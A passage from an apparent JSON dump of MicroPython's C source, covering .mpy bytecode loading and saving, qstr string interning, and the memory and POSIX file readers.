small-int, and\n// this function computes that (could make it a fixed constant, but it\n// would need to be defined in mpconfigport.h).\nSTATIC int mp_small_int_bits(void) {\n    mp_int_t i = MP_SMALL_INT_MAX;\n    int n = 1;\n    while (i != 0) {\n        i >>= 1;\n        ++n;\n    }\n    return n;\n}\n#endif\n\ntypedef struct _bytecode_prelude_t {\n    uint n_state;\n    uint n_exc_stack;\n    uint scope_flags;\n    uint n_pos_args;\n    uint n_kwonly_args;\n    uint n_def_pos_args;\n    uint code_info_size;\n} bytecode_prelude_t;\n\n// ip will point to start of opcodes\n// ip2 will point to simple_name, source_file qstrs\nSTATIC void extract_prelude(const byte **ip, const byte **ip2, bytecode_prelude_t *prelude) {\n    prelude->n_state = mp_decode_uint(ip);\n    prelude->n_exc_stack = mp_decode_uint(ip);\n    prelude->scope_flags = *(*ip)++;\n    prelude->n_pos_args = *(*ip)++;\n    prelude->n_kwonly_args = *(*ip)++;\n    prelude->n_def_pos_args = *(*ip)++;\n    *ip2 = *ip;\n    prelude->code_info_size = mp_decode_uint(ip2);\n    *ip += prelude->code_info_size;\n    while (*(*ip)++ != 255) {\n    }\n}\n\n#endif // MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE\n\n#if MICROPY_PERSISTENT_CODE_LOAD\n\n#include \"py/parsenum.h\"\n#include \"py/bc0.h\"\n\nSTATIC int read_byte(mp_reader_t *reader) {\n    return reader->readbyte(reader->data);\n}\n\nSTATIC void read_bytes(mp_reader_t *reader, byte *buf, size_t len) {\n    while (len-- > 0) {\n        *buf++ = reader->readbyte(reader->data);\n    }\n}\n\nSTATIC size_t read_uint(mp_reader_t *reader) {\n    size_t unum = 0;\n    for (;;) {\n        byte b = reader->readbyte(reader->data);\n        unum = (unum << 7) | (b & 0x7f);\n        if ((b & 0x80) == 0) {\n            break;\n        }\n    }\n    return unum;\n}\n\nSTATIC qstr load_qstr(mp_reader_t *reader) {\n    size_t len = read_uint(reader);\n    char *str = m_new(char, len);\n    read_bytes(reader, (byte*)str, len);\n    qstr qst = qstr_from_strn(str, len);\n    m_del(char, str, len);\n    return qst;\n}\n\nSTATIC mp_obj_t load_obj(mp_reader_t *reader) {\n    byte obj_type = read_byte(reader);\n    if (obj_type == 'e') {\n        return MP_OBJ_FROM_PTR(&mp_const_ellipsis_obj);\n    } else {\n        size_t len = read_uint(reader);\n        vstr_t vstr;\n        vstr_init_len(&vstr, len);\n        read_bytes(reader, (byte*)vstr.buf, len);\n        if (obj_type == 's' || obj_type == 'b') {\n            return mp_obj_new_str_from_vstr(obj_type == 's' ? &mp_type_str : &mp_type_bytes, &vstr);\n        } else if (obj_type == 'i') {\n            return mp_parse_num_integer(vstr.buf, vstr.len, 10, NULL);\n        } else {\n            assert(obj_type == 'f' || obj_type == 'c');\n            return mp_parse_num_decimal(vstr.buf, vstr.len, obj_type == 'c', false, NULL);\n        }\n    }\n}\n\nSTATIC void load_bytecode_qstrs(mp_reader_t *reader, byte *ip, byte *ip_top) {\n    while (ip < ip_top) {\n        size_t sz;\n        uint f = mp_opcode_format(ip, &sz);\n        if (f == MP_OPCODE_QSTR) {\n            qstr qst = load_qstr(reader);\n            ip[1] = qst;\n            ip[2] = qst >> 8;\n        }\n        ip += sz;\n    }\n}\n\nSTATIC mp_raw_code_t *load_raw_code(mp_reader_t *reader) {\n    // load bytecode\n    size_t bc_len = read_uint(reader);\n    byte *bytecode = m_new(byte, bc_len);\n    read_bytes(reader, bytecode, bc_len);\n\n    // extract prelude\n    const byte *ip = bytecode;\n    const byte *ip2;\n    bytecode_prelude_t prelude;\n    extract_prelude(&ip, &ip2, &prelude);\n\n    // load qstrs and link global qstr ids into bytecode\n    qstr simple_name = load_qstr(reader);\n    qstr source_file = load_qstr(reader);\n    ((byte*)ip2)[0] = simple_name; ((byte*)ip2)[1] = simple_name >> 8;\n    ((byte*)ip2)[2] = source_file; ((byte*)ip2)[3] = source_file >> 8;\n    load_bytecode_qstrs(reader, (byte*)ip, bytecode + bc_len);\n\n    // load constant table\n    size_t n_obj = read_uint(reader);\n    size_t n_raw_code = read_uint(reader);\n    mp_uint_t *const_table = m_new(mp_uint_t, prelude.n_pos_args + prelude.n_kwonly_args + n_obj + n_raw_code);\n    mp_uint_t *ct = const_table;\n    for (size_t i = 0; i < prelude.n_pos_args + prelude.n_kwonly_args; ++i) {\n        *ct++ = (mp_uint_t)MP_OBJ_NEW_QSTR(load_qstr(reader));\n    }\n    for (size_t i = 0; i < n_obj; ++i) {\n        *ct++ = (mp_uint_t)load_obj(reader);\n    }\n    for (size_t i = 0; i < n_raw_code; ++i) {\n        *ct++ = (mp_uint_t)(uintptr_t)load_raw_code(reader);\n    }\n\n    // create raw_code and return it\n    mp_raw_code_t *rc = mp_emit_glue_new_raw_code();\n    mp_emit_glue_assign_bytecode(rc, bytecode, bc_len, const_table,\n        #if MICROPY_PERSISTENT_CODE_SAVE\n        n_obj, n_raw_code,\n        #endif\n        prelude.scope_flags);\n    return rc;\n}\n\nmp_raw_code_t *mp_raw_code_load(mp_reader_t *reader) {\n    byte header[4];\n    read_bytes(reader, header, sizeof(header));\n    if (header[0] != 'M'\n        || header[1] != MPY_VERSION\n        || header[2] != MPY_FEATURE_FLAGS\n        || header[3] > mp_small_int_bits()) {\n        mp_raise_ValueError(\"incompatible .mpy file\");\n    }\n    mp_raw_code_t *rc = load_raw_code(reader);\n    reader->close(reader->data);\n    return rc;\n}\n\nmp_raw_code_t *mp_raw_code_load_mem(const byte *buf, size_t len) {\n    mp_reader_t reader;\n    mp_reader_new_mem(&reader, buf, len, 0);\n    return mp_raw_code_load(&reader);\n}\n\nmp_raw_code_t *mp_raw_code_load_file(const char *filename) {\n    mp_reader_t reader;\n    mp_reader_new_file(&reader, filename);\n    return mp_raw_code_load(&reader);\n}\n\n#endif // MICROPY_PERSISTENT_CODE_LOAD\n\n#if MICROPY_PERSISTENT_CODE_SAVE\n\n#include \"py/objstr.h\"\n\nSTATIC void mp_print_bytes(mp_print_t *print, const byte *data, size_t len) {\n    print->print_strn(print->data, (const char*)data, len);\n}\n\n#define BYTES_FOR_INT ((BYTES_PER_WORD * 8 + 6) / 7)\nSTATIC void mp_print_uint(mp_print_t *print, size_t n) {\n    byte buf[BYTES_FOR_INT];\n    byte *p = buf + sizeof(buf);\n    *--p = n & 0x7f;\n    n >>= 7;\n    for (; n != 0; n >>= 7) {\n        *--p = 0x80 | (n & 0x7f);\n    }\n    print->print_strn(print->data, (char*)p, buf + sizeof(buf) - p);\n}\n\nSTATIC void save_qstr(mp_print_t *print, qstr qst) {\n    size_t len;\n    const byte *str = qstr_data(qst, &len);\n    mp_print_uint(print, len);\n    mp_print_bytes(print, str, len);\n}\n\nSTATIC void save_obj(mp_print_t *print, mp_obj_t o) {\n    if (MP_OBJ_IS_STR_OR_BYTES(o)) {\n        byte obj_type;\n        if (MP_OBJ_IS_STR(o)) {\n            obj_type = 's';\n        } else {\n            obj_type = 'b';\n        }\n        mp_uint_t len;\n        const char *str = mp_obj_str_get_data(o, &len);\n        mp_print_bytes(print, &obj_type, 1);\n        mp_print_uint(print, len);\n        mp_print_bytes(print, (const byte*)str, len);\n    } else if (MP_OBJ_TO_PTR(o) == &mp_const_ellipsis_obj) {\n        byte obj_type = 'e';\n        mp_print_bytes(print, &obj_type, 1);\n    } else {\n        // we save numbers using a simplistic text representation\n        // TODO could be improved\n        byte obj_type;\n        if (MP_OBJ_IS_TYPE(o, &mp_type_int)) {\n            obj_type = 'i';\n        #if MICROPY_PY_BUILTINS_COMPLEX\n        } else if (MP_OBJ_IS_TYPE(o, &mp_type_complex)) {\n            obj_type = 'c';\n        #endif\n        } else {\n            assert(mp_obj_is_float(o));\n            obj_type = 'f';\n        }\n        vstr_t vstr;\n        mp_print_t pr;\n        vstr_init_print(&vstr, 10, &pr);\n        mp_obj_print_helper(&pr, o, PRINT_REPR);\n        mp_print_bytes(print, &obj_type, 1);\n        mp_print_uint(print, vstr.len);\n        mp_print_bytes(print, (const byte*)vstr.buf, vstr.len);\n        vstr_clear(&vstr);\n    }\n}\n\nSTATIC void save_bytecode_qstrs(mp_print_t *print, const byte *ip, const byte *ip_top) {\n    while (ip < ip_top) {\n        size_t sz;\n        uint f = mp_opcode_format(ip, &sz);\n        if (f == MP_OPCODE_QSTR) {\n            qstr qst = ip[1] | (ip[2] << 8);\n            save_qstr(print, qst);\n        }\n        ip += sz;\n    }\n}\n\nSTATIC void save_raw_code(mp_print_t *print, mp_raw_code_t *rc) {\n    if (rc->kind != MP_CODE_BYTECODE) {\n        mp_raise_ValueError(\"can only save bytecode\");\n    }\n\n    // save bytecode\n    mp_print_uint(print, rc->data.u_byte.bc_len);\n    mp_print_bytes(print, rc->data.u_byte.bytecode, rc->data.u_byte.bc_len);\n\n    // extract prelude\n    const byte *ip = rc->data.u_byte.bytecode;\n    const byte *ip2;\n    bytecode_prelude_t prelude;\n    extract_prelude(&ip, &ip2, &prelude);\n\n    // save qstrs\n    save_qstr(print, ip2[0] | (ip2[1] << 8)); // simple_name\n    save_qstr(print, ip2[2] | (ip2[3] << 8)); // source_file\n    save_bytecode_qstrs(print, ip, rc->data.u_byte.bytecode + rc->data.u_byte.bc_len);\n\n    // save constant table\n    mp_print_uint(print, rc->data.u_byte.n_obj);\n    mp_print_uint(print, rc->data.u_byte.n_raw_code);\n    const mp_uint_t *const_table = rc->data.u_byte.const_table;\n    for (uint i = 0; i < prelude.n_pos_args + prelude.n_kwonly_args; ++i) {\n        mp_obj_t o = (mp_obj_t)*const_table++;\n        save_qstr(print, MP_OBJ_QSTR_VALUE(o));\n    }\n    for (uint i = 0; i < rc->data.u_byte.n_obj; ++i) {\n        save_obj(print, (mp_obj_t)*const_table++);\n    }\n    for (uint i = 0; i < rc->data.u_byte.n_raw_code; ++i) {\n        save_raw_code(print, (mp_raw_code_t*)(uintptr_t)*const_table++);\n    }\n}\n\nvoid mp_raw_code_save(mp_raw_code_t *rc, mp_print_t *print) {\n    // header contains:\n    //  byte  'M'\n    //  byte  version\n    //  byte  feature flags\n    //  byte  number of bits in a small int\n    byte header[4] = {'M', MPY_VERSION, MPY_FEATURE_FLAGS_DYNAMIC,\n        #if MICROPY_DYNAMIC_COMPILER\n        mp_dynamic_compiler.small_int_bits,\n        #else\n        mp_small_int_bits(),\n        #endif\n    };\n    mp_print_bytes(print, header, sizeof(header));\n\n    save_raw_code(print, rc);\n}\n\n// here we define mp_raw_code_save_file depending on the port\n// TODO abstract this away properly\n\n#if defined(__i386__) || defined(__x86_64__) || (defined(__arm__) && (defined(__unix__)))\n\n#include <unistd.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\nSTATIC void fd_print_strn(void *env, const char *str, size_t len) {\n    int fd = (intptr_t)env;\n    ssize_t ret = write(fd, str, len);\n    (void)ret;\n}\n\nvoid mp_raw_code_save_file(mp_raw_code_t *rc, const char *filename) {\n    int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n    mp_print_t fd_print = {(void*)(intptr_t)fd, fd_print_strn};\n    mp_raw_code_save(rc, &fd_print);\n    close(fd);\n}\n\n#else\n#error mp_raw_code_save_file not implemented for this platform\n#endif\n\n#endif // MICROPY_PERSISTENT_CODE_SAVE\n"
  },
  {
    "path": "micropython/source/py/qstr.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n#include <string.h>\n#include <stdio.h>\n\n#include \"py/mpstate.h\"\n#include \"py/qstr.h\"\n#include \"py/gc.h\"\n\n// NOTE: we are using linear arrays to store and search for qstr's (unique strings, interned strings)\n// ultimately we will replace this with a static hash table of some kind\n// also probably need to include the length in the string data, to allow null bytes in the string\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_printf DEBUG_printf\n#else // don't print debugging info\n#define DEBUG_printf(...) (void)0\n#endif\n\n// A qstr is an index into the qstr pool.\n// The data for a qstr contains (hash, length, data):\n//  - hash (configurable number of bytes)\n//  - length (configurable number of bytes)\n//  - data (\"length\" number of bytes)\n//  - \\0 terminated (so they can be printed using printf)\n\n#if MICROPY_QSTR_BYTES_IN_HASH == 1\n    #define Q_HASH_MASK (0xff)\n    #define Q_GET_HASH(q) ((mp_uint_t)(q)[0])\n    #define Q_SET_HASH(q, hash) do { (q)[0] = (hash); } while (0)\n#elif MICROPY_QSTR_BYTES_IN_HASH == 2\n    #define Q_HASH_MASK (0xffff)\n    #define Q_GET_HASH(q) ((mp_uint_t)(q)[0] | ((mp_uint_t)(q)[1] << 8))\n    #define Q_SET_HASH(q, hash) do { (q)[0] = (hash); (q)[1] = (hash) >> 8; } while (0)\n#else\n    #error unimplemented qstr hash decoding\n#endif\n#define Q_GET_ALLOC(q)  (MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + Q_GET_LENGTH(q) + 1)\n#define Q_GET_DATA(q)   ((q) + MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN)\n#if MICROPY_QSTR_BYTES_IN_LEN == 1\n    #define Q_GET_LENGTH(q) ((q)[MICROPY_QSTR_BYTES_IN_HASH])\n    #define Q_SET_LENGTH(q, len) do { (q)[MICROPY_QSTR_BYTES_IN_HASH] = (len); } while (0)\n#elif MICROPY_QSTR_BYTES_IN_LEN == 2\n    #define Q_GET_LENGTH(q) ((q)[MICROPY_QSTR_BYTES_IN_HASH] | ((q)[MICROPY_QSTR_BYTES_IN_HASH + 1] << 8))\n    #define Q_SET_LENGTH(q, len) do { (q)[MICROPY_QSTR_BYTES_IN_HASH] = (len); (q)[MICROPY_QSTR_BYTES_IN_HASH + 1] = (len) >> 8; } while (0)\n#else\n    #error unimplemented qstr length decoding\n#endif\n\n#if MICROPY_PY_THREAD && !MICROPY_PY_THREAD_GIL\n#define QSTR_ENTER() mp_thread_mutex_lock(&MP_STATE_VM(qstr_mutex), 1)\n#define QSTR_EXIT() mp_thread_mutex_unlock(&MP_STATE_VM(qstr_mutex))\n#else\n#define QSTR_ENTER()\n#define QSTR_EXIT()\n#endif\n\n// this must match the equivalent function in makeqstrdata.py\nmp_uint_t qstr_compute_hash(const byte *data, size_t len) {\n    // djb2 algorithm; see http://www.cse.yorku.ca/~oz/hash.html\n    mp_uint_t hash = 5381;\n    for (const byte *top = data + len; data < top; data++) {\n        hash = ((hash << 5) + hash) ^ (*data); // hash * 33 ^ data\n    }\n    hash &= Q_HASH_MASK;\n    // Make sure that valid hash is never zero, zero means \"hash not computed\"\n    if (hash == 0) {\n        hash++;\n    }\n    return hash;\n}\n\nconst qstr_pool_t mp_qstr_const_pool = {\n    NULL,               // no previous pool\n    0,                  // no previous pool\n    10,                 // set so that the first dynamically allocated pool is twice this size; must be <= the len (just below)\n    MP_QSTRnumber_of,   // corresponds to number of strings in array just below\n    {\n#ifndef NO_QSTR\n#define QDEF(id, str) str,\n#include \"genhdr/qstrdefs.generated.h\"\n#undef QDEF\n#endif\n    },\n};\n\n#ifdef MICROPY_QSTR_EXTRA_POOL\nextern const qstr_pool_t MICROPY_QSTR_EXTRA_POOL;\n#define CONST_POOL MICROPY_QSTR_EXTRA_POOL\n#else\n#define CONST_POOL mp_qstr_const_pool\n#endif\n\nvoid qstr_init(void) {\n    MP_STATE_VM(last_pool) = (qstr_pool_t*)&CONST_POOL; // we won't modify the const_pool since it has no allocated room left\n    MP_STATE_VM(qstr_last_chunk) = NULL;\n\n    #if MICROPY_PY_THREAD\n    mp_thread_mutex_init(&MP_STATE_VM(qstr_mutex));\n    #endif\n}\n\nSTATIC const byte *find_qstr(qstr q) {\n    // search pool for this qstr\n    for (qstr_pool_t *pool = MP_STATE_VM(last_pool); pool != NULL; pool = pool->prev) {\n        if (q >= pool->total_prev_len) {\n            return pool->qstrs[q - pool->total_prev_len];\n        }\n    }\n\n    // not found\n    return 0;\n}\n\n// qstr_mutex must be taken while in this function\nSTATIC qstr qstr_add(const byte *q_ptr) {\n    DEBUG_printf(\"QSTR: add hash=%d len=%d data=%.*s\\n\", Q_GET_HASH(q_ptr), Q_GET_LENGTH(q_ptr), Q_GET_LENGTH(q_ptr), Q_GET_DATA(q_ptr));\n\n    // make sure we have room in the pool for a new qstr\n    if (MP_STATE_VM(last_pool)->len >= MP_STATE_VM(last_pool)->alloc) {\n        qstr_pool_t *pool = m_new_obj_var_maybe(qstr_pool_t, const char*, MP_STATE_VM(last_pool)->alloc * 2);\n        if (pool == NULL) {\n            QSTR_EXIT();\n            m_malloc_fail(MP_STATE_VM(last_pool)->alloc * 2);\n        }\n        pool->prev = MP_STATE_VM(last_pool);\n        pool->total_prev_len = MP_STATE_VM(last_pool)->total_prev_len + MP_STATE_VM(last_pool)->len;\n        pool->alloc = MP_STATE_VM(last_pool)->alloc * 2;\n        pool->len = 0;\n        MP_STATE_VM(last_pool) = pool;\n        DEBUG_printf(\"QSTR: allocate new pool of size %d\\n\", MP_STATE_VM(last_pool)->alloc);\n    }\n\n    // add the new qstr\n    MP_STATE_VM(last_pool)->qstrs[MP_STATE_VM(last_pool)->len++] = q_ptr;\n\n    // return id for the newly-added qstr\n    return MP_STATE_VM(last_pool)->total_prev_len + MP_STATE_VM(last_pool)->len - 1;\n}\n\nqstr qstr_find_strn(const char *str, size_t str_len) {\n    // work out hash of str\n    mp_uint_t str_hash = qstr_compute_hash((const byte*)str, str_len);\n\n    // search pools for the data\n    for (qstr_pool_t *pool = MP_STATE_VM(last_pool); pool != NULL; pool = pool->prev) {\n        for (const byte **q = pool->qstrs, **q_top = pool->qstrs + pool->len; q < q_top; q++) {\n            if (Q_GET_HASH(*q) == str_hash && Q_GET_LENGTH(*q) == str_len && memcmp(Q_GET_DATA(*q), str, str_len) == 0) {\n                return pool->total_prev_len + (q - pool->qstrs);\n            }\n        }\n    }\n\n    // not found; return null qstr\n    return 0;\n}\n\nqstr qstr_from_str(const char *str) {\n    return qstr_from_strn(str, strlen(str));\n}\n\nqstr qstr_from_strn(const char *str, size_t len) {\n    assert(len < (1 << (8 * MICROPY_QSTR_BYTES_IN_LEN)));\n    QSTR_ENTER();\n    qstr q = qstr_find_strn(str, len);\n    if (q == 0) {\n        // qstr does not exist in interned pool so need to add it\n\n        // compute number of bytes needed to intern this string\n        size_t n_bytes = MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + len + 1;\n\n        if (MP_STATE_VM(qstr_last_chunk) != NULL && MP_STATE_VM(qstr_last_used) + n_bytes > MP_STATE_VM(qstr_last_alloc)) {\n            // not enough room at end of previously interned string so try to grow\n            byte *new_p = m_renew_maybe(byte, MP_STATE_VM(qstr_last_chunk), MP_STATE_VM(qstr_last_alloc), MP_STATE_VM(qstr_last_alloc) + n_bytes, false);\n            if (new_p == NULL) {\n                // could not grow existing memory; shrink it to fit previous\n                (void)m_renew_maybe(byte, MP_STATE_VM(qstr_last_chunk), MP_STATE_VM(qstr_last_alloc), MP_STATE_VM(qstr_last_used), false);\n                MP_STATE_VM(qstr_last_chunk) = NULL;\n            } else {\n                // could grow existing memory\n                MP_STATE_VM(qstr_last_alloc) += n_bytes;\n            }\n        }\n\n        if (MP_STATE_VM(qstr_last_chunk) == NULL) {\n            // no existing memory for the interned string so allocate a new chunk\n            size_t al = n_bytes;\n            if (al < MICROPY_ALLOC_QSTR_CHUNK_INIT) {\n                al = MICROPY_ALLOC_QSTR_CHUNK_INIT;\n            }\n            MP_STATE_VM(qstr_last_chunk) = m_new_maybe(byte, al);\n            if (MP_STATE_VM(qstr_last_chunk) == NULL) {\n                // failed to allocate a large chunk so try with exact size\n                MP_STATE_VM(qstr_last_chunk) = m_new_maybe(byte, n_bytes);\n                if (MP_STATE_VM(qstr_last_chunk) == NULL) {\n                    QSTR_EXIT();\n                    m_malloc_fail(n_bytes);\n                }\n                al = n_bytes;\n            }\n            MP_STATE_VM(qstr_last_alloc) = al;\n            MP_STATE_VM(qstr_last_used) = 0;\n        }\n\n        // allocate memory from the chunk for this new interned string's data\n        byte *q_ptr = MP_STATE_VM(qstr_last_chunk) + MP_STATE_VM(qstr_last_used);\n        MP_STATE_VM(qstr_last_used) += n_bytes;\n\n        // store the interned strings' data\n        mp_uint_t hash = qstr_compute_hash((const byte*)str, len);\n        Q_SET_HASH(q_ptr, hash);\n        Q_SET_LENGTH(q_ptr, len);\n        memcpy(q_ptr + MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN, str, len);\n        q_ptr[MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + len] = '\\0';\n        q = qstr_add(q_ptr);\n    }\n    QSTR_EXIT();\n    return q;\n}\n\nbyte *qstr_build_start(size_t len, byte **q_ptr) {\n    assert(len < (1 << (8 * MICROPY_QSTR_BYTES_IN_LEN)));\n    *q_ptr = m_new(byte, MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + len + 1);\n    Q_SET_LENGTH(*q_ptr, len);\n    return Q_GET_DATA(*q_ptr);\n}\n\nqstr qstr_build_end(byte *q_ptr) {\n    QSTR_ENTER();\n    qstr q = qstr_find_strn((const char*)Q_GET_DATA(q_ptr), Q_GET_LENGTH(q_ptr));\n    if (q == 0) {\n        size_t len = Q_GET_LENGTH(q_ptr);\n        mp_uint_t hash = qstr_compute_hash(Q_GET_DATA(q_ptr), len);\n        Q_SET_HASH(q_ptr, hash);\n        q_ptr[MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + len] = '\\0';\n        q = qstr_add(q_ptr);\n    } else {\n        m_del(byte, q_ptr, Q_GET_ALLOC(q_ptr));\n    }\n    QSTR_EXIT();\n    return q;\n}\n\nmp_uint_t qstr_hash(qstr q) {\n    return Q_GET_HASH(find_qstr(q));\n}\n\nsize_t qstr_len(qstr q) {\n    const byte *qd = find_qstr(q);\n    return Q_GET_LENGTH(qd);\n}\n\nconst char *qstr_str(qstr q) {\n    const byte *qd = find_qstr(q);\n    return (const char*)Q_GET_DATA(qd);\n}\n\nconst byte *qstr_data(qstr q, size_t *len) {\n    const byte *qd = find_qstr(q);\n    *len = Q_GET_LENGTH(qd);\n    return Q_GET_DATA(qd);\n}\n\nvoid qstr_pool_info(size_t *n_pool, size_t *n_qstr, size_t *n_str_data_bytes, size_t *n_total_bytes) {\n    QSTR_ENTER();\n    *n_pool = 0;\n    *n_qstr = 0;\n    *n_str_data_bytes = 0;\n    *n_total_bytes = 0;\n    for (qstr_pool_t *pool = MP_STATE_VM(last_pool); pool != NULL && pool != &CONST_POOL; pool = pool->prev) {\n        *n_pool += 1;\n        *n_qstr += pool->len;\n        for (const byte **q = pool->qstrs, **q_top = pool->qstrs + pool->len; q < q_top; q++) {\n            *n_str_data_bytes += Q_GET_ALLOC(*q);\n        }\n        #if MICROPY_ENABLE_GC\n        *n_total_bytes += gc_nbytes(pool); // this counts actual bytes used in heap\n        #else\n        *n_total_bytes += sizeof(qstr_pool_t) + sizeof(qstr) * pool->alloc;\n        #endif\n    }\n    *n_total_bytes += *n_str_data_bytes;\n    QSTR_EXIT();\n}\n\n#if MICROPY_PY_MICROPYTHON_MEM_INFO\nvoid qstr_dump_data(void) {\n    QSTR_ENTER();\n    for (qstr_pool_t *pool = MP_STATE_VM(last_pool); pool != NULL && pool != &CONST_POOL; pool = pool->prev) {\n        for (const byte **q = pool->qstrs, **q_top = pool->qstrs + pool->len; q < q_top; q++) {\n            mp_printf(&mp_plat_print, \"Q(%s)\\n\", Q_GET_DATA(*q));\n        }\n    }\n    QSTR_EXIT();\n}\n#endif\n"
  },
  {
    "path": "micropython/source/py/reader.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <assert.h>\n\n#include \"py/runtime.h\"\n#include \"py/mperrno.h\"\n#include \"py/reader.h\"\n\ntypedef struct _mp_reader_mem_t {\n    size_t free_len; // if >0 mem is freed on close by: m_free(beg, free_len)\n    const byte *beg;\n    const byte *cur;\n    const byte *end;\n} mp_reader_mem_t;\n\nSTATIC mp_uint_t mp_reader_mem_readbyte(void *data) {\n    mp_reader_mem_t *reader = (mp_reader_mem_t*)data;\n    if (reader->cur < reader->end) {\n        return *reader->cur++;\n    } else {\n        return MP_READER_EOF;\n    }\n}\n\nSTATIC void mp_reader_mem_close(void *data) {\n    mp_reader_mem_t *reader = (mp_reader_mem_t*)data;\n    if (reader->free_len > 0) {\n        m_del(char, (char*)reader->beg, reader->free_len);\n    }\n    m_del_obj(mp_reader_mem_t, reader);\n}\n\nvoid mp_reader_new_mem(mp_reader_t *reader, const byte *buf, size_t len, size_t free_len) {\n    mp_reader_mem_t *rm = m_new_obj(mp_reader_mem_t);\n    rm->free_len = free_len;\n    rm->beg = buf;\n    rm->cur = buf;\n    rm->end = buf + len;\n    reader->data = rm;\n    reader->readbyte = mp_reader_mem_readbyte;\n    reader->close = mp_reader_mem_close;\n}\n\n#if MICROPY_READER_POSIX\n\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n\ntypedef struct _mp_reader_posix_t {\n    bool close_fd;\n    int fd;\n    size_t len;\n    size_t pos;\n    byte buf[20];\n} mp_reader_posix_t;\n\nSTATIC mp_uint_t mp_reader_posix_readbyte(void *data) {\n    mp_reader_posix_t *reader = (mp_reader_posix_t*)data;\n    if (reader->pos >= reader->len) {\n        if (reader->len == 0) {\n            return MP_READER_EOF;\n        } else {\n            int n = read(reader->fd, reader->buf, sizeof(reader->buf));\n            if (n <= 0) {\n                reader->len = 0;\n                return MP_READER_EOF;\n            }\n            reader->len = n;\n            reader->pos = 0;\n        }\n    }\n    return reader->buf[reader->pos++];\n}\n\nSTATIC void mp_reader_posix_close(void *data) {\n    mp_reader_posix_t *reader = (mp_reader_posix_t*)data;\n    if (reader->close_fd) {\n        close(reader->fd);\n    }\n    m_del_obj(mp_reader_posix_t, reader);\n}\n\nvoid mp_reader_new_file_from_fd(mp_reader_t *reader, int fd, bool close_fd) {\n    mp_reader_posix_t *rp = m_new_obj(mp_reader_posix_t);\n    rp->close_fd = close_fd;\n    rp->fd = fd;\n    int n = read(rp->fd, rp->buf, sizeof(rp->buf));\n    if (n == -1) {\n        if (close_fd) {\n            close(fd);\n        }\n        mp_raise_OSError(errno);\n    }\n    rp->len = n;\n    rp->pos = 0;\n    reader->data = rp;\n    reader->readbyte = mp_reader_posix_readbyte;\n    reader->close = mp_reader_posix_close;\n}\n\nvoid mp_reader_new_file(mp_reader_t *reader, const char *filename) {\n    int fd = open(filename, O_RDONLY, 0644);\n    if (fd < 0) {\n        mp_raise_OSError(errno);\n    }\n    mp_reader_new_file_from_fd(reader, fd, true);\n}\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/repl.c",
